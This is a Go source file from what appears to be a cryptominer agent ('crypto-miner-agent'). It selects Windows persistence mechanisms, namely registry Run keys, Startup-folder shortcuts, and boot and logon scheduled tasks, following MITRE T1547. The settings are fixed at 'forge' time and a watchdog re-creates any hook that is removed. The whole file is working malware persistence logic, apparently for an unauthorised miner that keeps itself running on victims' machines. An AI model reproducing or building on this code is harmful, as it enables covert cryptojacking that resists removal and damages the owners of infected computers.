// Package deploy autostart hooks (Windows, MITRE T1547-style). // // Triggers: // - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks) // - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing) // - Uninstall / removePersistence → removeAutostartExtras // // Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user". package deploy import ( "strings" "crypto-miner-agent/config" ) // Autostart mode values (baked at forge time via AutostartMode). // Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user". const ( AutostartNone = "none" AutostartLogonRun = "logon_run" AutostartLogonStartupFolder = "logon_startup_folder" AutostartBootTask = "boot_task" AutostartLogonTask = "logon_task" AutostartAll = "all" ) func runAsHasBuiltInPersistence(runAs string) bool { switch strings.ToLower(strings.TrimSpace(runAs)) { case "scheduled", "service", "bits", "host_binary": return true default: return false } } // effectiveAutostartModes returns persistence hooks to install/heal for this forge. // Install + watchdog self-heal both use this list. func effectiveAutostartModes(cfg config.RuntimeConfig) []string { raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode)) var modes []string if raw == "" || raw == "legacy" { if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) { modes = []string{AutostartLogonRun} } } else if raw == AutostartNone { modes = nil } else if raw == AutostartAll { modes = []string{ AutostartLogonRun, AutostartLogonStartupFolder, AutostartBootTask, AutostartLogonTask, } } else { for _, part := range strings.Split(raw, ",") { part = strings.TrimSpace(part) if part == "" || part == AutostartNone { continue } modes = append(modes, part) } } return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg))) } func dedupeRegistryRunOverlap(modes []string) []string { hasLegacy := false hasHKCU := false for _, m := range modes { if m == AutostartLogonRun { hasLegacy = true } if m == RegistryHKCURun { hasHKCU = true } } if !hasLegacy || !hasHKCU { return modes } out := make([]string, 0, len(modes)) for _, m := range modes { if m == RegistryHKCURun { continue } out = append(out, m) } return out } func autostartBootTaskName(cfg config.RuntimeConfig) string { return PersistenceKeyName(cfg) + "-Boot" } func autostartLogonTaskName(cfg config.RuntimeConfig) string { return PersistenceKeyName(cfg) + "-Logon" } func autostartStartupShortcutName(cfg config.RuntimeConfig) string { return PersistenceKeyName(cfg) + ".lnk" }